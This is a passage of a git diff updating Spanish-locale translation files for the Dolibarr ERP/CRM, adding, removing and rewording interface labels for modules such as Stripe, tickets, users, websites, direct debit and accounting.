      (TODO ¿Cuándo se realiza la opción para disminuir las existencias en una acción en la factura y el pago en línea genera la factura por sí mismo?) StripeLiveEnabled=Stripe live habilitado (de lo contrario, modo prueba / sandbox) StripeImportPayment=Importar pagos de Stripe -ExampleOfTestCreditCard=Ejemplo de tarjeta de crédito para prueba: %s => válido, %s => error CVC, %s => caducado, %s => falla de carga +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails StripeGateways=Pasarelas de banda OAUTH_STRIPE_TEST_ID=ID de cliente de Stripe Connect (ca _...) OAUTH_STRIPE_LIVE_ID=ID de cliente de Stripe Connect (ca _...) @@ -37,3 +37,4 @@ ToOfferALinkForTestWebhook=Enlace para configurar Stripe WebHook para llamar al ToOfferALinkForLiveWebhook=Enlace para configurar Stripe WebHook para llamar al IPN (modo en vivo) ClickHereToTryAgain= Haga clic aquí para volver a intentarlo ... CreationOfPaymentModeMustBeDoneFromStripeInterface=Debido a las reglas estrictas de autenticación de clientes, la creación de una tarjeta debe realizarse desde el backoffice de Stripe. Puede hacer clic aquí para activar el registro de cliente de Stripe: %s +TERMINAL_LOCATION=Location (address) for Stripe Terminals diff --git a/htdocs/langs/es_CO/ticket.lang b/htdocs/langs/es_CO/ticket.lang index 3f6313f135e..bd8be927d60 100644 --- a/htdocs/langs/es_CO/ticket.lang +++ b/htdocs/langs/es_CO/ticket.lang @@ -25,6 +25,7 @@ TicketPublicAccess=Una interfaz pública que no requiere identificación está d TicketSetupDictionaries=El tipo de ticket, severidad y códigos analíticos son configurables desde diccionarios TicketParamModule=Configuración de variables de módulo TicketParamMail=Configuración de correo electrónico +TicketEmailNotificationFromHelp=Correo electrónico del remitente para usar para enviar el correo electrónico de notificación cuando se proporciona una respuesta dentro de la oficina administrativa. Por ejemplo noreply@example.com TicketNewEmailBodyHelp=El texto especificado aquí se insertará en el correo electrónico confirmando la creación de un nuevo ticket desde la interfaz pública. La información sobre la consulta del ticket se agrega automáticamente. TicketParamPublicInterface=Configuración de la interfaz pública TicketsEmailMustExist=Requerir una dirección de correo electrónico existente para crear un ticket @@ -55,6 +56,10 @@ TicketNotifyTiersAtCreation=Notificar a terceros en la creación TicketsDisableCustomerEmail=Desactive siempre los correos electrónicos cuando se crea un ticket desde la interfaz pública TicketsPublicNotificationNewMessageHelp=Enviar correo electrónico (s) cuando se agrega un nuevo mensaje desde la interfaz pública (al usuario asignado o el correo electrónico de notificaciones a (actualización) y / o el correo electrónico de notificaciones a) TicketPublicNotificationNewMessageDefaultEmail=Notificaciones por correo electrónico a (actualización) +TicketsDelayBeforeFirstAnswerHelp=Si un nuevo ticket no ha recibido una respuesta después de este período de tiempo (en horas), se mostrará un icono de advertencia importante en la vista de lista. +TicketsDelayBetweenAnswersHelp=Si un ticket sin resolver que ya recibió una respuesta no ha tenido más interacción después de este período de tiempo (en horas), se mostrará un icono de advertencia en la vista de lista. +TicketsAutoNotifyCloseHelp=Al cerrar un ticket, se le propondrá enviar un mensaje a uno de los contactos de un tercero. En el cierre masivo, se enviará un mensaje a un contacto del tercero vinculado al boleto. +TicketWrongContact=El contacto proporcionado no forma parte de los contactos del ticket actual. Correo electrónico no enviado. TicketsIndex=Zona de entradas TicketList=Lista de tickets TicketAssignedToMeInfos=Esta página muestra la lista de tickets creada por o asignada al usuario actual @@ -64,6 +69,8 @@ TicketViewAllTickets=Ver todas las entradas TicketStatByStatus=Entradas por estado ShowAsConversation=Mostrar como lista de conversaciones MessageListViewType=Mostrar como lista de tablas +ConfirmMassTicketClosingSendEmail=Envía automáticamente correos electrónicos al cerrar tickets +ConfirmMassTicketClosingSendEmailQuestion=¿Quieres avisar a terceros al cerrar estos tickets? TicketCard=Tarjeta de entrada CreateTicket=Crear Ticket TicketsManagement=Gestión de entradas @@ -76,8 +83,6 @@ TicketAssigned=El ticket ahora está asignado TicketChangeType=Tipo de cambio TicketChangeCategory=Cambiar el código analítico TicketChangeSeverity=Cambiar la gravedad -TicketAddMessage=Añade un mensaje -AddMessage=Añade un mensaje MessageSuccessfullyAdded=Ticket agregado TicketMessageSuccessfullyAdded=Mensaje agregado exitosamente TicketMessagesList=Lista de mensajes @@ -85,8 +90,6 @@ NoMsgForThisTicket=No hay mensaje para este ticket LatestNewTickets=Latest %s entradas más nuevas (no leídas) ShowTicket=Ver boleto RelatedTickets=Entradas relacionadas -CloseTicket=Cerrar | Resolver ticket -AbandonTicket=Billete de abandono ConfirmAbandonTicket=¿Confirmas el cierre del ticket al estado 'Abandonado'? ConfirmDeleteTicket=Confirma la eliminación del ticket SendMessageByEmail=Enviar mensaje por correo electrónico @@ -121,7 +124,6 @@ TicketNewEmailBodyCustomer=Este es un correo electrónico automático para confi TicketNewEmailBodyInfosTicket=Información para el seguimiento del ticket TicketEmailPleaseDoNotReplyToThisEmail=¡Por favor no responda directamente a este correo! Utilice el enlace para responder a la interfaz. TicketPublicInfoCreateTicket=Este formulario le permite registrar un ticket de soporte en nuestro sistema de gestión. -TicketPublicPleaseBeAccuratelyDescribe=Describe el problema con precisión. Proporcione la mayor cantidad de información posible que nos permita identificar correctamente su solicitud. TicketPublicMsgViewLogIn=Ingrese el ID de seguimiento del boleto TicketTrackId=ID de seguimiento público OneOfTicketTrackId=Uno de sus ID de seguimiento @@ -135,6 +137,8 @@ SeeThisTicketIntomanagementInterface=Ver ticket en la interfaz de gestión ErrorEmailOrTrackingInvalid=Valor incorrecto para el ID de seguimiento o el correo electrónico NewUser=Nuevo Usuario NbOfTickets=Numero de tickets +TicketCloseEmailSubjectCustomer=Boleto cerrado +TicketCloseEmailSubjectAdmin=Ticket cerrado - Réf %s (ID de ticket público %s) TicketNotificationRecipient=Destinatario de la notificación TicketNotificationEmailBodyInfosTrackUrlinternal=Ver el ticket en la interfaz TicketNotificationNumberEmailSent=Correo electrónico de notificación enviado: %s diff --git a/htdocs/langs/es_CO/users.lang b/htdocs/langs/es_CO/users.lang index 1aa7835c43f..dc2ca31937e 100644 --- a/htdocs/langs/es_CO/users.lang +++ b/htdocs/langs/es_CO/users.lang @@ -31,7 +31,7 @@ RemoveFromGroup=Sacar del grupo PasswordChangedAndSentTo=La contraseña cambió y se envió a %s . PasswordChangeRequest=Solicitud de cambio de contraseña para %s PasswordChangeRequestSent=Solicitud de cambio de contraseña para %s enviada a %s . -IfLoginExistPasswordRequestSent=Si este inicio de sesión es una cuenta válida, se ha enviado un correo electrónico para restablecer la contraseña. +IfLoginExistPasswordRequestSent=Si este inicio de sesión es una cuenta válida (con un E-mail válido), se ha enviado un E-mail para restablecer la contraseña. MenuUsersAndGroups=Usuarios y Grupos LastGroupsCreated=Últimos grupos %s creados LastUsersCreated=Últimos usuarios creados %s @@ -46,7 +46,6 @@ LinkToCompanyContact=Enlace a un tercero / contacto LinkedToDolibarrMember=Enlace al miembro CreateDolibarrLogin=Crea un usuario CreateDolibarrThirdParty=Crea un tercero -LoginAccountDisableInDolibarr=Cuenta deshabilitada en Dolibarr. UsePersonalValue=Use valor personal ExportDataset_user_1=Usuarios y sus propiedades DomainUser=Usuario de dominio %s @@ -75,6 +74,7 @@ DisabledInMonoUserMode=Deshabilitado en modo de mantenimiento UserAccountancyCode=Código de contabilidad del usuario UserLogoff=Cierre de sesión de usuario UserLogged=Usuario registrado +DateEmploymentStart=Fecha de inicio del empleo DateEmploymentEnd=Fecha de finalización del empleo ForceUserExpenseValidator=Validador del informe de gastos de la fuerza ForceUserHolidayValidator=Validador de solicitud de licencia forzosa diff --git a/htdocs/langs/es_CO/website.lang b/htdocs/langs/es_CO/website.lang index 7c082941998..7c199bb14a9 100644 --- a/htdocs/langs/es_CO/website.lang +++ b/htdocs/langs/es_CO/website.lang @@ -9,7 +9,8 @@ WEBSITE_CSS_URL=URL del archivo CSS externo WEBSITE_CSS_INLINE=Contenido de archivo CSS (común a todas las páginas) WEBSITE_ROBOT=Archivo de robot (robots.txt) WEBSITE_KEYWORDSDesc=Use una coma para separar valores -EnterHereLicenseInformation=Ingrese aquí los metadatos o la información de la licencia para completar un archivo README.md. si distribuye su sitio web como una plantilla, el archivo se incluirá en el paquete temptate. +EnterHereReadmeInformation=Introduzca aquí una descripción del sitio web. Si distribuye su sitio web como plantilla, el archivo se incluirá en el paquete tentate. +EnterHereLicenseInformation=Introduzca aquí la LICENCIA del código del sitio web. Si distribuye su sitio web como plantilla, el archivo se incluirá en el paquete tentate. HtmlHeaderPage=Encabezado HTML (específico de esta página únicamente) PageNameAliasHelp=Nombre o alias de la página.
      Este alias también se usa para falsificar una URL de SEO cuando el sitio web se ejecuta desde un host virtual de un servidor web (como Apacke, Nginx, ...). Utilice el botón " %s " para editar este alias. EditTheWebSiteForACommonHeader=Nota: Si desea definir un encabezado personalizado para todas las páginas, edítelo en el nivel del sitio en lugar de en la página / contenedor. @@ -30,6 +31,7 @@ PageAdded=Page / Contenair '%s' agregado SetAsHomePage=Establecer como página de inicio RealURL=URL real ViewWebsiteInProduction=Ver el sitio web usando URL de inicio +VirtualhostDesc=El nombre del host virtual o dominio (por ejemplo: www.miwebsite.com, miempresa.net, ...) SetHereVirtualHost= Úselo con Apache / NGinx / ...
      Cree en su servidor web (Apache, Nginx, ...) un host virtual dedicado con PHP habilitado y un directorio raíz en
      %s YouCanAlsoTestWithPHPS= Usar con el servidor PHP integrado
      En el entorno de desarrollo, es posible que prefiera probar el sitio con el servidor web integrado PHP (se requiere PHP 5.5) ejecutando
      php -S 0.0.0.0:8080 -t %s YouCanAlsoDeployToAnotherWHP= Ejecute su sitio web con otro proveedor de alojamiento Dolibarr
      Si no tiene un servidor web como Apache o NGinx disponible en Internet, puede exportar e importar su sitio web a otra instancia de Dolibarr proporcionada por otro proveedor de alojamiento Dolibarr que proporcione integración con el módulo de sitio web. Puede encontrar una lista de algunos proveedores de alojamiento Dolibarr en https://saas.dolibarr.org @@ -91,5 +93,4 @@ UseManifest=Proporcione un archivo manifest.json ReplacementDoneInXPages=Reemplazo hecho en %s páginas o contenedores RSSFeedDesc=Puede obtener un feed RSS de los últimos artículos con el tipo 'blogpost' utilizando esta URL PagesRegenerated=%s página (s) / contenedor (s) regenerado -GenerateSitemaps=Generar archivo de mapa del sitio web ErrorFaviconSize=El favicon debe tener un tamaño de 16 x 16, 32 x 32 o 64 x 64 diff --git a/htdocs/langs/es_CO/withdrawals.lang b/htdocs/langs/es_CO/withdrawals.lang index 38e533e6b22..1810869338e 100644 --- a/htdocs/langs/es_CO/withdrawals.lang +++ b/htdocs/langs/es_CO/withdrawals.lang @@ -22,7 +22,6 @@ SupplierInvoiceWaitingWithdraw=Factura de proveedor en espera de pago mediante t InvoiceWaitingWithdraw=Factura en espera de débito automático AmountToWithdraw=Cantidad a retirar NoInvoiceToWithdraw=No hay ninguna factura abierta para '%s' esperando. Vaya a la pestaña '%s' en la tarjeta de factura para realizar una solicitud. -NoSupplierInvoiceToWithdraw=No se espera ninguna factura de proveedor con 'Solicitudes de débito automático' abiertas. Vaya a la pestaña '%s' en la tarjeta de factura para realizar una solicitud. ResponsibleUser=Usuario responsable WithdrawalsSetup=Configuración de pago por débito automático CreditTransferSetup=Configuración de transferencia bancaria @@ -80,8 +79,6 @@ CreditDate=Crédito en WithdrawalFileNotCapable=No se puede generar el archivo de recibo de retiro para su país %s (Su país no es compatible) ShowWithdraw=Mostrar orden de débito automático IfInvoiceNeedOnWithdrawPaymentWontBeClosed=Sin embargo, si la factura tiene al menos una orden de pago por débito automático que aún no se ha procesado, no se establecerá como pagada para permitir la gestión previa de retiros. -DoStandingOrdersBeforePayments=Esta pestaña le permite solicitar una orden de pago mediante débito automático. Una vez hecho esto, acceda al menú Banco->Pago por débito automático para generar y gestionar la orden de débito automático. Cuando se cierra la orden de débito automático, el pago de las facturas se registrará automáticamente y las facturas se cerrarán si el resto a pagar es nulo. -DoCreditTransferBeforePayments=Esta pestaña le permite solicitar una orden de transferencia bancaria. Una vez hecho esto, vaya al menú Banco-> Pago por transferencia bancaria para generar y administrar la orden de transferencia bancaria. Cuando se cierra la orden de transferencia bancaria, el pago de las facturas se registrará automáticamente y las facturas se cerrarán si el resto a pagar es nulo. WithdrawalFile=Archivo de orden de débito SetToStatusSent=Establecer en estado "Archivo enviado" ThisWillAlsoAddPaymentOnInvoice=Esto también registrará los pagos en las facturas y los clasificará como "Pagados" si el resto por pagar es nulo. @@ -95,7 +92,6 @@ BankTransferAmount=Monto de la solicitud de transferencia bancaria: WithdrawRequestErrorNilAmount=No se puede crear una solicitud de débito automático por un monto vacío. SepaMandate=Mandato de débito automático SEPA PleaseReturnMandate=Envíe este formulario de mandato por correo electrónico a %s o por correo postal a -SEPALegalText=Al firmar este formulario de mandato, autoriza a (A) %s a enviar instrucciones a su banco para que debite su cuenta y (B) a su banco a que debite su cuenta de acuerdo con las instrucciones de %s. Como parte de sus derechos, tiene derecho a un reembolso de su banco según los términos y condiciones de su acuerdo con su banco. Sus derechos con respecto al mandato anterior se explican en una declaración que puede obtener de su banco. CreditorIdentifier=Identificador del acreedor (CI) CreditorName=Nombre del acreedor SEPAFillForm=(B) Por favor complete todos los campos marcados * diff --git a/htdocs/langs/es_CO/workflow.lang b/htdocs/langs/es_CO/workflow.lang index 326b17aadd9..0975adac66d 100644 --- a/htdocs/langs/es_CO/workflow.lang +++ b/htdocs/langs/es_CO/workflow.lang @@ -14,5 +14,3 @@ descWORKFLOW_ORDER_CLASSIFY_SHIPPED_SHIPPING=Clasifique el pedido de ventas de o descWORKFLOW_ORDER_CLASSIFY_SHIPPED_SHIPPING_CLOSED=Clasifique el pedido de venta de origen vinculado como enviado cuando se cierra un envío (y si la cantidad enviada por todos los envíos es la misma que en el pedido para actualizar) descWORKFLOW_ORDER_CLASSIFY_BILLED_SUPPLIER_PROPOSAL=Clasifique la propuesta del proveedor de origen vinculado como facturada cuando se valida la factura del proveedor (y si el monto de la factura es el mismo que el monto total de la propuesta vinculada) descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=Clasifique el pedido de compra de origen vinculado como facturado cuando se valida la factura del proveedor (y si el monto de la factura es el mismo que el monto total del pedido vinculado) -descWORKFLOW_BILL_ON_RECEPTION=Clasifique las recepciones como "facturadas" cuando un pedido de proveedor vinculado is validado -descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Clasifique el envío de origen vinculado como cerrado cuando se valida la factura del cliente diff --git a/htdocs/langs/es_CR/accountancy.lang b/htdocs/langs/es_CR/accountancy.lang new file mode 100644 index 00000000000..cf74ffb05a8 --- /dev/null +++ b/htdocs/langs/es_CR/accountancy.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - accountancy +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts diff --git a/htdocs/langs/es_CR/admin.lang b/htdocs/langs/es_CR/admin.lang new file mode 100644 index 00000000000..bcada1b6272 --- /dev/null +++ b/htdocs/langs/es_CR/admin.lang @@ -0,0 +1,6 @@ +# Dolibarr language file - Source file is en_US - admin +BoldRefAndPeriodOnPDF=Imprimir en PDF referencia y período de producto +BoldLabelOnPDF=Imprimir etiqueta del producto en Negrita en el PDF +VersionProgram=Versión del programa +VersionLastInstall=Versión inicial instalada +VersionLastUpgrade=Actualizar a la versión más reciente diff --git a/htdocs/langs/es_CR/companies.lang b/htdocs/langs/es_CR/companies.lang new file mode 100644 index 00000000000..37c93f8f77d --- /dev/null +++ b/htdocs/langs/es_CR/companies.lang @@ -0,0 +1,4 @@ +# Dolibarr language file - Source file is en_US - companies +HasRelativeDiscountFromSupplier=You have a default discount of %s%% with this vendor +HasNoRelativeDiscountFromSupplier=No default relative discount with this vendor +TwoRecordsOfCompanyName=more than one record exists for this company, please contact us to complete your partnership request diff --git a/htdocs/langs/es_CR/hrm.lang b/htdocs/langs/es_CR/hrm.lang new file mode 100644 index 00000000000..59c0ceb4575 --- /dev/null +++ b/htdocs/langs/es_CR/hrm.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - hrm +JobsExtraFields=Attributs supplémentaires (Emplois) diff --git a/htdocs/langs/es_CR/install.lang b/htdocs/langs/es_CR/install.lang new file mode 100644 index 00000000000..0d1a1ba2c9f --- /dev/null +++ b/htdocs/langs/es_CR/install.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - install +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. diff --git a/htdocs/langs/es_CR/main.lang b/htdocs/langs/es_CR/main.lang new file mode 100644 index 00000000000..2e691473326 --- /dev/null +++ b/htdocs/langs/es_CR/main.lang @@ -0,0 +1,21 @@ +# Dolibarr language file - Source file is en_US - main +DIRECTION=ltr +FONTFORPDF=helvetica +FONTSIZEFORPDF=10 +SeparatorDecimal=. +SeparatorThousand=, +FormatDateShort=%m/%d/%Y +FormatDateShortInput=%m/%d/%Y +FormatDateShortJava=MM/dd/yyyy +FormatDateShortJavaInput=MM/dd/yyyy +FormatDateShortJQuery=mm/dd/yy +FormatDateShortJQueryInput=mm/dd/yy +FormatHourShortJQuery=HH:MI +FormatHourShort=%I:%M %p +FormatHourShortDuration=%H:%M +FormatDateTextShort=%b %d, %Y +FormatDateText=%B %d, %Y +FormatDateHourShort=%m/%d/%Y %I:%M %p +FormatDateHourSecShort=%m/%d/%Y %I:%M:%S %p +FormatDateHourTextShort=%b %d, %Y, %I:%M %p +FormatDateHourText=%B %d, %Y, %I:%M %p diff --git a/htdocs/langs/es_CR/propal.lang b/htdocs/langs/es_CR/propal.lang new file mode 100644 index 00000000000..05fa26ba107 --- /dev/null +++ b/htdocs/langs/es_CR/propal.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - propal +NoSign=Refuse diff --git a/htdocs/langs/es_CR/stripe.lang b/htdocs/langs/es_CR/stripe.lang new file mode 100644 index 00000000000..ae44362fd94 --- /dev/null +++ b/htdocs/langs/es_CR/stripe.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - stripe +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +TERMINAL_LOCATION=Location (address) for Stripe Terminals diff --git a/htdocs/langs/es_DO/admin.lang b/htdocs/langs/es_DO/admin.lang index 8317eec449a..7b4cc2ab334 100644 --- a/htdocs/langs/es_DO/admin.lang +++ b/htdocs/langs/es_DO/admin.lang @@ -8,6 +8,5 @@ DictionaryVAT=Tasa de ITBIS (Impuesto sobre ventas en EEUU) UnitPriceOfProduct=Precio unitario sin ITBIS de un producto OptionVatMode=Opción de carga de ITBIS OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sale tax IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sale tax diff --git a/htdocs/langs/es_DO/hrm.lang b/htdocs/langs/es_DO/hrm.lang new file mode 100644 index 00000000000..59c0ceb4575 --- /dev/null +++ b/htdocs/langs/es_DO/hrm.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - hrm +JobsExtraFields=Attributs supplémentaires (Emplois) diff --git a/htdocs/langs/es_DO/install.lang b/htdocs/langs/es_DO/install.lang new file mode 100644 index 00000000000..0d1a1ba2c9f --- /dev/null +++ b/htdocs/langs/es_DO/install.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - install +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. diff --git a/htdocs/langs/es_DO/propal.lang b/htdocs/langs/es_DO/propal.lang new file mode 100644 index 00000000000..05fa26ba107 --- /dev/null +++ b/htdocs/langs/es_DO/propal.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - propal +NoSign=Refuse diff --git a/htdocs/langs/es_DO/stripe.lang b/htdocs/langs/es_DO/stripe.lang new file mode 100644 index 00000000000..ae44362fd94 --- /dev/null +++ b/htdocs/langs/es_DO/stripe.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - stripe +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +TERMINAL_LOCATION=Location (address) for Stripe Terminals diff --git a/htdocs/langs/es_EC/accountancy.lang b/htdocs/langs/es_EC/accountancy.lang index b24e09e5bb2..a89937dc114 100644 --- a/htdocs/langs/es_EC/accountancy.lang +++ b/htdocs/langs/es_EC/accountancy.lang @@ -7,7 +7,6 @@ ACCOUNTING_EXPORT_LABEL=Etiqueta de exportación ACCOUNTING_EXPORT_AMOUNT=Cantidad de la exportación ACCOUNTING_EXPORT_DEVISE=Moneda de exportación ACCOUNTING_EXPORT_PREFIX_SPEC=Especifique el prefijo para el nombre de archivo -DefaultForService=Predeterminado para servicio CantSuggest=No puedo sugerir AccountancySetupDoneFromAccountancyMenu=La mayoría de la configuración de la contabilidad se realiza desde el menú%s Journals=Revistas @@ -94,34 +93,18 @@ ACCOUNTING_LENGTH_AACCOUNT=Longitud de las cuentas contables de terceros (si est ACCOUNTING_MANAGE_ZERO=Permitir gestionar diferentes números de ceros al final de una cuenta contable. Necesario por algunos países (como Suiza). Si está desactivado (predeterminado), puede configurar los siguientes dos parámetros para pedirle a la aplicación que agregue ceros virtuales. BANK_DISABLE_DIRECT_INPUT=Inhabilitar la grabación directa de la transacción en una cuenta bancaria ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Habilitar la exportación del borrador en el diario -ACCOUNTING_SELL_JOURNAL=Vender un diario -ACCOUNTING_PURCHASE_JOURNAL=Diario de compra -ACCOUNTING_MISCELLANEOUS_JOURNAL=Diario diverso ACCOUNTING_EXPENSEREPORT_JOURNAL=Diario de informes de gastos ACCOUNTING_RESULT_PROFIT=Cuenta contable de resultados (beneficio) ACCOUNTING_RESULT_LOSS=Cuenta contable de resultados (pérdida) -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Cuenta contable de transferencia bancaria transitoria TransitionalAccount=Cuenta de transferencia bancaria transitoria -ACCOUNTING_ACCOUNT_SUSPENSE=Cuenta de cuenta de espera -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Cuenta contable para registrar suscripciones -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Cuenta contable por defecto para los productos comprados (se usa si no se define en la hoja de productos) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Cuenta contable por defecto para los productos comprados en EEC (se usa si no se define en la hoja de productos) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Cuenta contable por defecto para los productos comprados e importados fuera de la CEE (usado si no está definido en la hoja de productos) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Cuenta contable por defecto para los productos vendidos (utilizada si no se define en la hoja del producto) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Cuenta contable por defecto para los productos vendidos en la CEE (utilizada si no se define en la hoja de producto) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Cuenta contable por defecto para los productos vendidos y exportados fuera de la CEE (usado si no está definido en la hoja de producto) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Cuenta contable por defecto para los servicios comprados (utilizado si no se define en la hoja de servicio) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Cuenta contable por defecto para los servicios comprados en EEC (utilizada si no está definida en la hoja de servicios) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Cuenta contable por defecto para los servicios comprados e importados fuera de la CEE (se usa si no se define en la hoja de servicios) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Contabilidad por defecto para los servicios vendidos (utilizado si no se define en la hoja de servicio) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Cuenta contable por defecto para los servicios vendidos en la CEE (utilizada si no se define en la hoja de servicios) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Cuenta contable por defecto para los servicios vendidos y exportados fuera de la CEE (usado si no está definido en la hoja de servicios) LabelAccount=Cuenta de etiqueta LabelOperation=Operación de etiquetas LetteringCode=Codigo de letras Codejournal=diario NumPiece=Número de pieza TransactionNumShort=Num. transacción +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts AccountingAccountGroupsDesc=Puede definir aquí algunos grupos de cuentas contables. Se usarán para informes de contabilidad personalizados. DelMonth=Mes para borrar DelJournal=Diario para borrar @@ -151,24 +134,16 @@ OpeningBalance=Saldo de apertura Reconcilable=Conciliable TotalVente=Volumen de negocios total antes de impuestos TotalMarge=Margen total de ventas -DescVentilCustomer=Consulte aquí la lista de líneas de factura de cliente vinculadas (o no) a una cuenta de contabilidad de producto -DescVentilMore=En la mayoría de los casos, si utiliza productos o servicios predefinidos y configura el número de cuenta en la tarjeta de producto/servicio, la aplicación podrá realizar todas las vinculaciones entre sus líneas de factura y la cuenta contable de su plan de cuentas, solo en un clic con el botón "%s". Si la cuenta no se configuró en las tarjetas de producto/servicio o si todavía tiene algunas líneas que no están vinculadas a una cuenta, deberá realizar un enlace manual desde el menú "%s". -DescVentilDoneCustomer=Consulte aquí la lista de líneas de clientes de facturas y su cuenta de contabilidad de productos -DescVentilTodoCustomer=Vincular líneas de factura no consolidadas con una cuenta de contabilidad de producto -ChangeAccount=Cambie la cuenta de contabilidad de producto/servicio para las líneas seleccionadas con la siguiente cuenta de contabilidad: -DescVentilSupplier=Consulte aquí la lista de líneas de factura del proveedor vinculadas o aún no vinculadas a una cuenta contable del producto (solo se puede ver el registro que no se ha transferido en la contabilidad) DescVentilDoneSupplier=Consulte aquí la lista de las líneas de facturas de proveedores y su cuenta contable DescVentilTodoExpenseReport=Vincular las líneas de informes de gastos no consolidadas con una cuenta de contabilidad de cargos DescVentilExpenseReport=Consulte aquí la lista de líneas de reporte de gastos vinculadas (o no) a una cuenta contable de honorarios DescVentilExpenseReportMore=Si configura una cuenta contable en el tipo de líneas de informe de gastos, la aplicación podrá hacer todo el enlace entre sus líneas de informe de gastos y la cuenta contable de su plan de cuentas, solo con un clic con el botón "%s". Si la cuenta no se configuró en el diccionario de tarifas o si todavía tiene algunas líneas que no están vinculadas a ninguna cuenta, deberá realizar un enlace manual desde el menú "%s". DescVentilDoneExpenseReport=Consulte aquí la lista de las líneas de informes de gastos y su cuenta contable de honorarios DescValidateMovements=Se prohíbe cualquier modificación o eliminación de escritura, letras y eliminaciones. Todas las entradas para un ejercicio deben validarse; de lo contrario, no será posible cerrar -ErrorAccountancyCodeIsAlreadyUse=Error, no puede eliminar esta cuenta de contabilidad porque se utiliza Balancing=Balance FicheVentilation=Tarjeta obligatoria GeneralLedgerIsWritten=Las transacciones se escriben en el libro mayor GeneralLedgerSomeRecordWasNotRecorded=Algunas de las transacciones no pueden ser contabilizadas. Si no hay otro mensaje de error, esto es probablemente porque ya estaban en el diario. -ListOfProductsWithoutAccountingAccount=Lista de productos no vinculados a ninguna cuenta contable ChangeBinding=Cambiar la encuadernación Accounted=Contabilizado en el libro mayor ShowTutorial=Tutorial de presentación @@ -180,7 +155,7 @@ AccountingJournals=Diarios/libros de contabilidad AccountingJournal=Diario de contabilidad NewAccountingJournal=Nueva revista de contabilidad AccountingJournalType1=Operaciones misceláneas / varias -AccountingJournalType5=Informe de gastos +AccountingJournalType5=Reporte de gastos AccountingJournalType9=Tiene nuevo ErrorAccountingJournalIsAlreadyUse=Esta revista ya utiliza AccountingAccountForSalesTaxAreDefinedInto=Nota: la cuenta de contabilidad para el impuesto a las ventas se define en el menú %s - %s diff --git a/htdocs/langs/es_EC/admin.lang b/htdocs/langs/es_EC/admin.lang index 6286debaffd..ac000e71761 100644 --- a/htdocs/langs/es_EC/admin.lang +++ b/htdocs/langs/es_EC/admin.lang @@ -317,7 +317,6 @@ ExtrafieldCheckBox=Casillas de verificación ExtrafieldCheckBoxFromList=Casillas de verificación de la tabla ExtrafieldLink=Enlace a un objeto ComputedFormula=Campo calculado -ComputedFormulaDesc=Puede ingresar aquí una fórmula utilizando otras propiedades del objeto o cualquier codificación PHP para obtener un valor calculado dinámico. Puede usar cualquier fórmula compatible con PHP, incluido el "?" operador de condición y siguiente objeto global: $db, $conf, $langs, $mysoc, $user, $object.
      ADVERTENCIA: Solo algunas propiedades de $object pueden estar disponibles. Si necesita propiedades no cargadas, simplemente busque el objeto en su fórmula como en el segundo ejemplo.
      El uso de un campo calculado significa que no puede ingresar ningún valor desde la interfaz. Además, si hay un error de sintaxis, la fórmula puede no devolver nada.

      Ejemplo de fórmula:
      $object-> id < 10 ? round($object-> id / 2, 2):($object-> id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2 )

      Ejemplo para recargar el objeto
